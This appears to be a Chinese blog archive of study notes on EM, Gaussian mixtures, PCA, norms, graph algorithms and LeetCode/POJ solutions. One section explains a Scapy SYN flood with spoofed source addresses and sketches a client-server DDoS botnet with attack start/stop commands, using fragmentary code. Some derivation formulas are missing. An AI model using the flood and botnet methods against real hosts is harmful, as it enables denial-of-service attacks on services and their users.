EM算法

极大似然估计

从极大似然法的角度引入EM算法，先考虑这样的一个问题。

给定训练数据，假设训练数据满足高斯分布$f(x|\mu,\sigma^2)$，求这个分布的参数.

这便是典型的极大似然估计问题，对数似然函数为$l(\mu,\sigma^2|X)=\sum_iln(f(x_i|\mu,\sigma^2))$上面的式子分别对$\mu$和$\sigma$求偏导，并设置其偏导数为0，那么$\mu$和$\sigma$的解可以直接计算。

包含隐含变量的极大似然估计

假设还有一个条件：数据X有两个类别，$\lambda_1,\lambda_2$分别表示$f(x|\mu_1,\sigma_1^2)$和$f(x|\mu_2,\sigma_2^2)$在总体中的比率。因此总体分布就可以是$g(x|\lambda_1,\lambda_2,\mu_1,\mu_2,\sigma_1^2,\sigma_2^2)$，即两个分布的混合。所以有$g(x|\lambda_1,\lambda_2,\mu_1,\mu_2,\sigma_1^2,\sigma_2^2)=\lambda_1f(x|\mu_1,\sigma_1^2)+\lambda_2f(x|\mu_2,\sigma_2^2) \quad s.t.: \quad \lambda_1+\lambda_2=1$极大似然估计的求解方法如下，似然公式为$l()=log(P(X|\lambda_1,\lambda_2,\mu_1,\mu_2,\sigma_1^2,\sigma_2^2))=log\left(\sum_ig(x_i|\lambda_1,\lambda_2,\mu_1,\mu_2,\sigma_1^2,\sigma_2^2) \right)$上面式子是先求和在取对数，求偏导的方法就不行了！

Jensen不等式

如果一个函数满足：对于任意的$x$都有$f^{‘’}(x) \ge 0$，那么$f(x)$是凸函数(如果输入$x$是向量，那么对应于其hessian矩阵(半)正定)，如果等号可以去掉即可称之为严格凸函数。
Jensen不等式的表述如下：假设$f$是凸函数，X是一个随机变量，那么有：$E[f(X)] \ge f(E[X])$对立面的表述是，如果函数$f$是凹(concave)函数($f^{‘’}(x) \le 0$)，那么有$E[f(X)] \le f(E[X])$当不等式中的等号成立时，$f(X)$是常数函数。

期望最大化

现在抽象化问题，已知模型为$p(x|\theta)$，$X=(x_1,x_2,…,x_n)$，求$\theta$。这里需要引入隐含变量$Z=(z_1,z_2,…,z_m)$，所以有：

定义似然函数为$l(\theta)=log(P(X|\theta))=log\sum_z(P(x_i|z,\theta) \cdot P(z|\theta))$ EM算法也是通过迭代方法求得$l(\theta)$的极值，假设第$n$轮迭代计算出的$\theta$为$\theta_n$，只要下一轮的$\theta$优于$\theta_n$即可，推导如下：

进而有

所以，我们只要

所以，EM算法的步骤如下：

随机初始化$\theta_0$
迭代直到收敛：
E步：求条件期望$F(\theta,\theta_n)$
M步：求$F(\theta,\theta_n)$的极值$\theta_{n+1}$

高斯混合模型

高斯混合模型是EM算法在高斯分布上的应用。多元高斯分布函数的定义如下：$p(x|\mu,\Sigma)=\frac{1}{(2\pi)^{n/2}|\Sigma|^{1/2}} e^{-\frac{(x-\mu)^T \Sigma^{-1} (x-\mu) }{2}}$ 其中，$\mu,\Sigma$分别是均值和协方差矩阵。混合高斯模型的定义为：

为了方便性，定义$j$个样本由第$i$个高斯分布产生的概率：

于是，给定样本集$D={x_1,…,x_m}$，用极大似然估计法，最大化似然对数：

上式中，分别由$l(D)$对$\mu_i,\Sigma_i,\alpha_i$求偏导，由于$p_M(z_j=i|x_j)=\gamma_{ji}$，所以令偏导数=0的结果如下：

对于混合系数$\alpha_i$，除了考虑$l(D)$外，他还有一个限制$\sum_{i=1}^k \alpha_i=1$，所以这里可以使用拉格朗日乘子法：$l(D)+\lambda \left( \sum_{i=1}^k \alpha_i-1 \right)$上式对$\alpha_i$求导并设结果为0有(注意联系$\gamma_{ji}的定义式$)

所以，混合高斯的EM方法就是：先根据当前参数计算每个样本属于每个高斯成分的后验概率$\gamma_{ji}$（E步）；然后根据上面的规则更新模型参数${(\mu_i,\Sigma_i,\alpha_i)|1\le i \le k}$.

最后给出高斯混合聚类算法表述：

输入：样本集$D={x_1,…,x_m}$，高斯混合成分个数$k$;

1 初始化高斯混合分布的模型参数${(\mu_i,\Sigma_i,\alpha_i)|1\le i \le k}$.
2 迭代，直到满足停止条件
3 $\quad for\; j=1,…m \quad do$
4 $\quad \quad$计算$p_M(z_j=i|x_j)=\gamma_{ji},(1 \le i \le k)$
5 $\quad end\; for$
6 $\quad for\; i=1,…k \quad do$
7 $\quad \quad$更新模型参数$(\mu_i,\Sigma_i,\alpha_i)$
8 $C_i=\emptyset,(1\le i \le k)$
9 $for\; j=1,…m \quad do$
10 $\quad$根据最大后验概率规则确定每个$x_j$的簇$\lambda_j$
11 $\quad C_{\lambda_j}=C_{\lambda_j}\cup \{x_j\}$
12 $end\; for$

输出：簇划分结果$C={C_1,..,C_k}$

Scapy实现SYN泛洪攻击

Scapy是一个可以让用户发送、侦听和解析并伪装网络报文的Python程序。这些功能可以用于制作侦测、扫描和攻击网络的工具。它的作用很多，简单如上图描述。

SYN泛洪攻击(SYN Flood)是一种比较常用的DoS方式之一。通过发送大量伪造的Tcp连接请求，使被攻击主机资源耗尽(通常是CPU满负荷或者内存不足) 的攻击方式。SYN泛洪攻击利用三次握手，客户端向服务器发送SYN报文之后就不再响应服务器回应的报文。由于服务器在处理TCP请求时，会在协议栈留一块缓冲区来存储握手的过程，当然如果超过一定的时间内没有接收到客户端的报文，本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求，全部挂起在半连接状态。这样将不断消耗服务器资源，直到拒绝服务。

利用scapy构造一个SYN数据包的方法是：

pkg = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(sport=100,dport=80,flags="S")
send(pkt)

其中，IP包中指定了源地址src和目的地址dst，其中src是我们伪造的地址，这是DoS攻击中保护攻击者的一种方式。
flags的值我们设定为S,说明我们要发送的是SYN数据包，目标端口dport为80，发送端口sport为100。

Socket实现DDoS攻击

总体采用CS模式，客户机连接服务器，服务器发送指令，然后客户机发起攻击，客户机使用伪装的IP攻击。
事先规定攻击命令：

#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>

‘xxx.xxx.xxx.xxx’是目标地址， xxxx表示端口号，int型
命令可以是start：开始攻击；stop：停止攻击

python中的socket使用

客户端

1
2
3
4
5
6

import socket

#创建socket: AF_INET表示IPV4协议, SOCK_STREAM表示基于流的TCP协议
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#建立连接, 指定服务器的IP和端口
s.connect(('192.168.0,100', 7786))

服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14

import socket

cliList = []
# 创建socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定地址和端口号
s.bind(('0.0.0.0', 7786))：
# 开始监听，指定最大连接数为10
s.listen(10)
while True:
    # 接受一个新的连接:
    sock, addr = s.accept()
    #将sock添加到列表中
    cliList.append(sock)

python多线程 & 多进程

1
2
3
4
5

t = Thread(target = func, args = (arg1, arg2))
t.start()

p = Process(target = func, args = (arg1, arg2))
p.start()

客户机接受了服务器的命令后，启动一个进程发动攻击，一个客户端可以伪造不同的IP发送大量的SYN请求，大量客户端一起工作瘫痪目标。

具体的实现点击这里

定义

Floyd判圈算法(Floyd Cycle Detection Algorithm)，又称龟兔赛跑算法(Tortoise and Hare Algorithm)。该算法由美国科学家罗伯特·弗洛伊德发明，是一个可以在有限状态机、迭代函数或者链表上判断是否存在环，求出该环的起点与长度的算法。

如果有限状态机、迭代函数或者链表上存在环，那么在某个环上以不同速度前进的2个指针必定会在某个时刻相遇
如果从同一个起点(即使这个起点不在某个环上)同时开始以不同速度前进的2个指针最终相遇，那么可以判定存在一个环，且可以求出2者相遇处所在的环的起点与长度

算法描述

假设已知某个起点节点为节点S。现设两个指针t和h，将它们均指向S
同时让t和h往前推进，但是二者的速度不同：t每前进1步，h前进2步
    当h无法前进，即到达某个没有后继的节点时，就可以确定从S出发不会遇到环
    当t与h再次相遇(在点M)时，就可以确定从S出发一定会进入某个环，设其为环C
        令h仍均位于节点M，而令t返回起点节点S
        让t和h往前推进，且保持二者的速度都为1
        t和h相遇的地方即为环C的入口

相关问题

Linked List Cycle

Happy Number

问题描述

Write an algorithm to determine if a number is “happy”.

A happy number is a number defined by the following process: Starting with any positive integer, replace the number by the sum of the squares of its digits, and repeat the process until the number equals 1 (where it will stay), or it loops endlessly in a cycle which does not include 1. Those numbers for which this process ends in 1 are happy numbers.

Example: 19 is a happy number

12 + 92 = 82
82 + 22 = 68
62 + 82 = 100
12 + 02 + 02 = 1

解题思路

可以使用hashset记录出现过的值，然后判断重复的是否是1
本质上，这题可以使用Floyd Cycle Detection来解。其中

• 由一个数跳转到另一个数可以当作是链表寻找下一个节点
• 设置两个指针，每次分别前进1、2位
• 如果最后相交于1，那么输出true；否则输出no

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

int digitSquareSum(int n) {
    int sum = 0, tmp;
    while (n) {
        tmp = n % 10;
        sum += tmp * tmp;
        n /= 10;
    }
    return sum;
}

bool isHappy(int n) {
    int slow, fast;
    slow = fast = n;
    do {
        slow = digitSquareSum(slow);
        fast = digitSquareSum(fast);
        fast = digitSquareSum(fast);
    } while(slow != fast);
    if (slow == 1) return 1;
    else return 0;
}

Unique Binary Search Trees

问题描述

Given n, how many structurally unique BST’s (binary search trees) that store values 1…n?

For example,
Given n = 3, there are a total of 5 unique BST’s.

1         3     3      2      1
 \       /     /      / \      \
  3     2     1      1   3      2
 /     /       \                 \
2     1         2                 3

解题思路

使用DP的思想解题
定义两个函数：

• G(n)：n个数组成的序列能构成的BST的总数目
• F(i,n), 1<=i<=n：1-n序列以第i个节点为根节点的BST的数目
• G(n)由根节点分别为每个节点的BST组成。对每个F(i,n)，i是根，则左子树有i-1个节点，右子树有n-i个节点

显然，根据上面的定义有：$G(n)=\sum_{i=1}^nF(i,n)$ $F(i,n)=G(i-1) \times G(n-i)$初始条件：G(0)=1, G(1)=1
所以有：$G(n)=\sum_{i=1}^nG(i-1)\times G(n-i)$ 代码如下：

1
2
3
4
5
6
7
8
9
10
11

public int numTrees(int n) {
    int [] G = new int[n+1];
    G[0] = G[1] = 1;

    for(int i=2; i<=n; ++i) {
        for(int j=1; j<=i; ++j) {
            G[i] += G[j-1] * G[i-j];
        }
    }
    return G[n];
}

Unique Binary Search Trees II

问题描述

Given an integer n, generate all structurally unique BST’s (binary search trees) that store values 1…n.

For example,
Given n = 3, there are a total of 5 unique BST’s.

1         3     3      2      1
 \       /     /      / \      \
  3     2     1      1   3      2
 /     /       \                 \
2     1         2                 3

解题思路

与上一题的区别在于本题需要返回所有的BST，而不是仅仅计算结果。
这题可以使用分治递归的思想，大致思想是：

• 对于1-n组成的节点，每个节点都可能是root
• 如果根结点是i，则分别求其左子树和右子树，然后所有左子树和右子树两两配对，加上根节点就是一棵树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

public List<TreeNode> generateTrees(int n) {
    return generateSubtrees(1, n);
}

private List<TreeNode> generateSubtrees(int s, int e) {
    List<TreeNode> res = new LinkedList<TreeNode>();
    if (s > e) {
        res.add(null); // empty tree
        return res;
    }

    for (int i = s; i <= e; ++i) {
        List<TreeNode> leftSubtrees = generateSubtrees(s, i - 1);
        List<TreeNode> rightSubtrees = generateSubtrees(i + 1, e);

        for (TreeNode left : leftSubtrees) {
            for (TreeNode right : rightSubtrees) {
                TreeNode root = new TreeNode(i);
                root.left = left;
                root.right = right;
                res.add(root);
            }
        }
    }
    return res;
}

最小生成树（MST）算法是给定一个无向带权图（V, E），求解最小生成树。

普里姆算法 Prim

Prim算法是逐渐加入点的算法

输入：一个加权连通图，其中顶点集合为V，边集合为E；

初始化：Vnew = {x}，其中x为集合V中的任一节点（起始点），Enew = {},为空；

重复下列操作，直到Vnew = V：

1. 在集合E中选取权值最小的边<u, v>，其中u为集合Vnew中的元素，而v不在Vnew集合当中，并且v∈V（如果存在有多条满足前述条件即具有相同权值的边，则可任意选取其中之一）；

2. 将v加入集合Vnew中，将<u, v>边加入集合Enew中；

输出：使用集合Vnew和Enew来描述所得到的最小生成树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

int Prim() {
    int sum=0;
    // dis数组维护的是已经找过的点集 到 每一个点 的最小距离
    // 每个点到第一个点的距离就是其直接距离
    for(int i=1; i<=n; i++)
        dis[i]=map[1][i];
    vis[1]=1;
    for(int i=1; i<n; i++) {
        int min=INF;
        // 找到最近的点
        for(int j=1; j<=n; j++)
            if(!vis[j]&&dis[j]<min) {
                min=dis[j];
                k=j;
            }
        sum+=min;
        vis[k]=1; //标记访问
        // 更新由于引入k点可能带来的距离变化
        for(int j=1; j<=n; j++) {
            if(!vis[j]&&map[k][j]<dis[j]) {
                dis[j]=map[k][j];
            }
        }
    }
    return sum;
}

复杂度：$O(n^2)$, 其中$n$为点的个数，适用于边稠密的图。

克鲁斯卡尔算法 Kruskal

并查集 Union-Find

并查集是解决动态连通性一类问题的一种算法，主要思想与树的思想类似，利用根来确定连通性。并查集本质上由两个操作组成，分别是find和join，其中find用于查找最顶层的节点（root），join将两个连通子集合并起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

int pre[1000 ]; // 存储每一个节点的前继

// 查找根节点
int find(int x) {
    int r=x;
    while ( pre[r ] != r )
        r=pre[r ];

    return r ;
}

// 连接根节点
void join(int x,int y) {
    int fx = find(x);
    int fy = find(y);
    // 设置根之间的关系
    if (fx != fy)
        pre[fx]=fy;
}

Kruskal是逐渐加入边的算法

记Graph中有v个顶点，e个边

新建图Graphnew，Graphnew中拥有原图中相同的e个顶点，但没有边

将原图Graph中所有e个边按权值从小到大排序

循环：从权值最小的边开始遍历每条边 直至图Graph中所有的节点都在同一个连通分量(并查集思想)中
        if 这条边连接的两个节点于图Graphnew中不在同一个连通分量中
                添加这条边到图Graphnew中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

// 间接排序
int cmp(const int i,const int j) {
    return w[i]<w[j];
}
int find(int x) {
    return p[x]==x ? x : p[x]=find(p[x]);
}
int kruskal()
{
    int cou=0,x,y,i,ans=0;
    // 将每个点的前缀初始化为为自己
    for(i=0;i<n;i++) p[i]=i;
    for(i=0;i<m;i++) r[i]=i;
    // 间接排序，排序后第i小的边保存在r[i]中
    sort(r,r+m,cmp);
    // 从小到大取边
    for(i=0;i<m;i++) {
        int e=r[i];
        x=find(u[e]);
        y=find(v[e]);
        // 来自不同的连通分量就可以加入
        if(x!=y) {
            ans += w[e];
            p[x]=y;
            cou++;
        }
    }
    if(cou<n-1) ans=0;
    return ans;
}

复杂度：$O(elog_2^e)$，其中$e$为边的数量，适用于边稀疏的图。

题目描述

POJ 2411
编程之美
用 1 x 2 的瓷砖覆盖 n x m 的地板，问共有多少种覆盖方式？

解题思路

这是个状态压缩DP问题，意思就是把状态用比特位的形式表示出来，然后使用DP求解

每个位置，有砖为1，无砖为0
由于转是1x2规格的，规定：
横着铺是连续两个都设成1
竖着铺时上面的设为0，下面的为1（因为上面的砖头对第二行有影响，如果上面的为0，那么下面的必须为1）
把每一行看作是一个二进制整数，这个整数就表示状态(有多少种01序列就有多少种状态)
因此每行都有很多状态，状态即为这一行01序列对应的值

• DP[i][j]表示第i行状态为j时有多少种方法。
• 如果上一行的某个状态DP(i-1,k) 可以达到 DP(i, j) 那么两个状态是兼容的。
• 如果DP(i-1,k)和DP(i, j)兼容并且 DP(i-1, k)有S种铺设方案，那么DP(i, j)就可以从DP(i-1, k)这条路径中获得S个方案。

兼容性：
兼容性指的是上一行和下一行的关系。Concretely，x和y兼容指的是x、y对应的二进制串对应的状态是兼容的。
检测兼容性的方法是从左到右依次检测每一列是否兼容，具体检查内容包括：(假如现在铺设第i行x列)

     x  x+1
i-1
  i  0

如果第i行x列上的值(i,x)是0， 那么第 i-1行x列上一定是1

     x  x+1
i-1
  i  1

如果(i,x)为1，那么

• (i-1,x)为0，竖着铺的，下一步检测(i, x+1)
• (i-1,x)为1，下一步检测(i, x+2).因为(i,x)是横着铺，跨越两个格子。

第一行得兼容性

• 如果 (0,x) 是1，那么 (0,x+1) 也一定是1，然后测试到 (0,x+2)
• 如果(0,x)是0， 那么直接测试下一个(0,x+1)
• 因为是第一行，所以兼容只能获得一个方案

所以具体思路就是：

对每一行，遍历其所有可能得状态
检查其与上一行所有状态得兼容性，兼容则获取上一行状态所对应的方案数
第一行单独处理
最后一行结束后，返回DP[n-1][2^m-1]，因为最后一行必须全部为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

#include <stdio.h>
#include <memory.h>
#include <math.h>
#include <algorithm>
using namespace std;


#define MAX_ROW 11
#define MAX_STATUS 2048
long long DP[MAX_ROW][MAX_STATUS];
int g_Width, g_Height;

// test the first line
bool TestFirstLine(int nStatus) {
    int i = 0;
    // 状态的每一个位
    while( i < g_Width) {
        if(nStatus & (0x1 << i)) {
            if( i == g_Width -1 || (nStatus & (0x1 << (i+1))) == 0)
                return false;
            i += 2;
        } else {
            i++;
        }
    }
    return true;
}

// test if status (i, nStatusA) and (i-1, nStatusB) is compatable.
bool CompatablityTest(int nStatusA, int nStatusB) {
    int i = 0;

    while( i < g_Width) {

        if( (nStatusA & (0x1 << i))  == 0) {
            if((nStatusB & (0x1 << i)) == 0)
                return false;
            i++;
        } else {
            if((nStatusB & (0x1 << i)) == 0 )
                i++;
            else if( (i == g_Width - 1) || ! ( (nStatusA & (0x1 << (i+1))) && (nStatusB & (0x1 << (i + 1)))) )
                return false;
            else
                i += 2;
        }
    }
    return true;
}
int main() {
    int i,j;
    int k;
    while(scanf("%d%d", &g_Height, &g_Width) != EOF ) {

        if(g_Width == 0 && g_Height == 0)
            break;

        if(g_Width > g_Height)
            swap(g_Width, g_Height);

        int nAllStatus = 1 << g_Width;
        memset(DP, 0, sizeof(DP));
        for( j = 0; j < nAllStatus; j++) {
            if(TestFirstLine(j))
                DP[0][j] = 1;
        }

        for( i = 1; i < g_Height; i++) { 
            // iterate all status for line i
            for( j = 0; j < nAllStatus; j++) {
                // iterate all status for line i-1
                for( k = 0; k < nAllStatus; k++) {
                    if(CompatablityTest(j, k))
                        DP[i][j] += DP[i-1][k];
                }
            }
        }
        printf("%lld\n", DP[g_Height-1][nAllStatus - 1]);
    }
    return 0;
}

题目描述

有一个4*4的方格，每个方格中放一粒棋子，这个棋子一面是白色，一面是黑色。游戏规则为每次任选16颗中的一颗，把选中的这颗以及它四周的棋子一并反过来，当所有的棋子都是同一个颜色朝上时，游戏就完成了。现在给定一个初始状态，要求输出能够完成游戏所需翻转的最小次数，如果初始状态已经达到要求输出0。如果不可能完成游戏，输出Impossible.

解题思想

Queue

1.如果用一个4*4的数组存储每一种状态，不但存储空间很大，而且在穷举状态时也不方便记录。因为每一颗棋子都只有两种状态，所以可以用二进制0和1表示每一个棋子的状态，则棋盘的状态就可以用一个16位的整数唯一标识。而翻转的操作也可以通过通过位操作来完成。显然当棋盘状态id为0(全白)或65535(全黑)时，游戏结束。

2.对于棋盘的每一个状态，都有十六种操作，首先要判断这十六种操作之后是否有完成的情况，如果没有，则再对这十六种操作的结果分别再进行上述操作，显然这里就要用到队列来存储了。而且在翻转的过程中有可能会回到之前的某种状态，而这种重复的状态是不应该再次入队的，所以维护isVis[i]数组来判断id==i的状态之前是否已经出现过，如果不是才将其入队。如果游戏无法完成，状态必定会形成循环，由于重复状态不会再次入队，所以最后的队列一定会是空队列。

3.由于0^1=1，1^1=0，所以翻转的操作可以通过异或操作来完成，而翻转的位置可以通过移位来确定。

DFS

4x4得棋盘最多需要翻转16次就可以完成，因为同一位置上得两次翻转等于没有翻转。
可以根据步数从0到16依次枚举，第一个符合条件的就是最小的步数，为了容易深搜，可以设定顺序为一行一行深搜，当一行搜完时从下一行开头搜。下面的代码也可以使用bit的思想压缩空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

int DFS(int i, int j, int dp) {
    // step表示当前尝试的步数上限
    // dp表示在step步数上限的前提下，当前的步数
    if(dp == step){
        flag=range();
        return 0;
    }
    if(flag||i==4) return 1;
    turn(i,j); //翻转当前位置
    if(j<3)
        DFS(i,j+1,dp+1); // 下一个列
    else
        DFS(i+1,0,dp+1); // 下一行
    turn(i,j); // 消除当前位置的翻转
    if(j<3)
        DFS(i,j+1,dp); // 当前位置不动的情况下，到下一列
    else
        DFS(i+1,0,dp); // 当前位置不动的情况下，到下一行
    return 0;
}
/*
    其余代码省略
*/
int main() {
    // step表示步数0到16枚举
    for(step=0; step<=16; step++) {
        flag=0;
        // 从(0,0)开始，开始第0步
        dfs(0,0,0);
        // 如果找到了，输出即可。因为步数上限step是逐渐提高的
        if(flag)break;
    }
}

主成分分析

主成分分析是很常用降维方法之一。通过对原始数据进行投影而达到将其降维、划分的作用。

PCA的出发点有两个：

• 最近重构性：样本点到投影面的距离都足够近
• 最大可分性：样本点在投影面上的投影尽可能分开

预处理(均值和方差的正规化)

求均值$\hat{x}=\frac{1}{m}\sum_{i=1}^mx^{(i)}$

将所有$x^{(i)}$替换成$x^{(i)}-\hat{x}$.

求方差 $\sigma_{j}^2=\frac{1}{m}\sum_i(x_j^{(i)})^2$

将所有$x_j^{(i)}$替换成$x_j^{(i)}/\sigma_j$.

假设现在有两组二维空间的点，我们需要将他们投影到一维空间。也就是要找到一个单位投影向量$\mu$，使投影后的点方差最大，分的最开，上图中，右下角的方法比右上角的差。点$x^{(i)}$投影过后到原点的距离是$\mu^T x^{(i)}$，那么所有的投影过的数据的均值就是$\frac{1}{m}\sum_i \mu^T x^{(i)}=\frac{1}{m} \mu^T \sum_i x^{(i)}$，因为我们已经对原数据进行了正规化，所以投影过的数据均值是$0$. 因此，我们的目标函数就是最大化：$\frac{1}{m}\sum_{i=1}^m (\mu^T x^{(i)})^2=\mu^T \left( \frac{1}{m}\sum_{i=1}^mx^{(i)}(x^{(i)})^T \right) \mu \quad .s.t. \quad \mu^T\mu =1$ 上式中括号括起来的也就是原始数据的协方差矩阵$\Sigma=\frac{1}{m}\sum_{i=1}^mx^{(i)}(x^{(i)})^T$，最大化这个公式也就是求解$\Sigma$的特征向量(拉格朗日乘子法)。所以如果需要将原始空间的数据降到k维，那么只需要取$\Sigma$前k大的特征值对应的特征向量作为投影向量即可。

PCA的算法描述如下：

输入：样本集D,和目标维度k

1. 对所有样本正规化

2. 计算样本的协方差矩阵

3. 对协方差矩阵做特征值分解

4. 降序排序特征值，取前k个特征值对应的特征向量组成投影矩阵

白化

处理图像时，相邻像素点通常是有关系，所以图像原始数据是冗余的。白化就是要降低输入的冗余性，并且保证每个特征具有相同的方差。

做法是：先将图片数据经过PCA处理，维度之间的相关度变为0，然后我们对每个维度都除以那个维度的标准差，这样每个维度就具有单位方差了。PCA做白化时，可以选取前k个成分，而另一种叫ZCA的方法，会保留所有成分，并且最后会左乘一个特征向量矩阵，把特征旋转回去

二者差异如下：

• PCA白化需要保证数据各维度的方差为1，ZCA白化只需保证方差相等
• PCA白化可进行降维也可以去相关性，而ZCA白化主要用于去相关性
• ZCA白化相比于PCA白化使得处理后的数据更加的接近原始数据

Robust主成分分析

PCA假设数据的噪声是高斯的，对于大的噪声或者严重的离群点，PCA会被它影响，导致无法正常工作。而鲁棒PCA只假设噪声是稀疏的。所以，RPCA的出发点是将原数据分解成两个矩阵，一个是稀疏的（噪声点），另一个是低秩的（内部有一定的结构信息，造成各行或列间是线性相关的）。也就是：$\min_{A,E}rank(A)+\lambda \Vert E \Vert_0 \quad .s.t. \; X=A+E$ 其中，$rank$是矩阵求秩的意思。但是上式有着非凸和非平滑等问题，可以转化成优化$\min_{A,E}\Vert A \Vert_{*}+\lambda \Vert E \Vert_1 \quad .s.t. \; X=A+E$求秩操作可以近似为求核范数，L0范数可以用L1范数逼近。求解出来上式，然后在对矩阵A运行PCA算法就可以得到对噪声有着比较好的鲁棒性的结果。

L0范数是指向量中非0的元素的个数。
L1范数是指向量中各个元素绝对值之和，也称为“稀疏规则算子”（Lasso regularization）
L2范数是指向量各元素的平方和然后求平方根
核范数是指矩阵奇异值的和

L0和L1范数

L0和L1范数都有使得参数变得稀疏的作用，因为L0范数的求解困难（NP难），所以一般使用L1范数来逼近L0范数。
稀疏的重要性在于：

1. 特征选择
2. 可解释性（减小多种特征带来的复杂性）

L2范数

L2范数也是使用颇为广泛的范数，再回归里使用L2范数的叫做“岭回归”
condition number

condition number是一个矩阵（或者它所描述的线性系统）的稳定性或者敏感度的度量
如果一个矩阵的condition number在1附近，那么它就是well-conditioned的
如果远大于1，那么它就是ill-conditioned的，如果一个系统是ill-conditioned的
比如：AX=b方程，稍微改动矩阵A的值，b就有很大变化，那么这个方程是ill-conditioned的

非奇异方阵的condition number定义为：$k(A)=\Vert A \Vert \times \Vert A^{-1} \Vert$.

L2范数的重要性在于

1. 改善过拟合现象
2. 处理 condition number不好的情况下矩阵求逆很困难的问题

关于2的解释
因为目标函数如果是二次的，对于线性回归来说，那实际上是有解析解的，求导并令导数等于零即可得到最优解为: $w=(X^TX)^{-1}X^Ty$
当样本X的数目比每个样本的维度还要小的时候，矩阵$X^TX$将会不是满秩的，也就是不可逆，所以$w$就没办法直接计算出来了，也可以说是有无穷多个解。这就是发生了过拟合。

但是如果加入了L2范数约束，就有：$w=(X^TX+\lambda I)^{-1}X^Ty$ 这样求逆就简单些了。

L1范数容易产生稀疏解的原因

核范数

低秩矩阵：如果矩阵的秩远小于它的行数和列数，那么它就是低秩矩阵。
核范数是指矩阵奇异值的和，可以用来近似低秩矩阵的秩。
低秩的应用：

1. 矩阵填充，矩阵各行(列)之间的线性相关求出丢失的元素
2. 鲁棒PCA
3. 背景建模
4. 低秩纹理映射算法

近似梯度下降(Proximal Gradient Descent)

近似梯度下降是解决L1优化问题的算法，优化问题的定义形式如下：$\min_x f(x)+\lambda \Vert x \Vert_1$其中$f(x)$是凸函数并且可微，而$\lambda \Vert x \Vert_1$是凸函数但是不可微(non-differentiable)，所以不能按照岭回归那样求解。若$f(x)$可导，且$\nabla f$满足L-Lipschitz条件，即存在常数$L>0$使得$\Vert \nabla f(x_1)-\nabla f(x) \Vert_2^2 \le L \Vert x_1-x \Vert,\; (\forall x,x_1)$在$x_k$附近将$f(x)$通过二阶泰勒展开式可以写成：

其中，最后一步将关于$x$的项集中到一起，以及一个$\varphi (x_k)$只包含$x_k$不包含$x$。$\varphi (x_k)$可通过将最后一个式子拆开并和倒数第二个式子比较得到。这样，上式的最小值即为$x_{k+1}=x_k-\frac{1}{L}\nabla f(x_k)$这就是梯度下降的思想，梯度下降的每次迭代其实是在最小化原目标的一个二次近似函数。

将这种转化$f(x)$的思想应用到L1优化的目标函数上，可得每一步迭代其实是$x_{k+1}=arg\min_x \frac{L}{2} \left\Vert x-\left( x_k-\frac{1}{L}\nabla f(x_k) \right) \right\Vert_2^2 + \lambda \Vert x \Vert_1$即在每一步对$f(x)$进行梯度下降的时候同时考虑优化L1范数。
此时，可以先计算$z=x_k-\frac{1}{L}\nabla f(x_k)$，然后求解

这里考虑整个$x$就不合适了，考虑$x$的每个分量不会相互影响，即没有$x^ix^j$项。对于第$i$个分量$x^i$所以有$x_{k+1}^i = arg\min_x \frac{L}{2} (x^i-z_i)^2+\lambda \vert x^i \vert$所以每个分量的更新方法为（高中知识，二次函数、分类讨论）

上面就是PGD方法的详细说明，通过PGD就可以求解L1优化问题。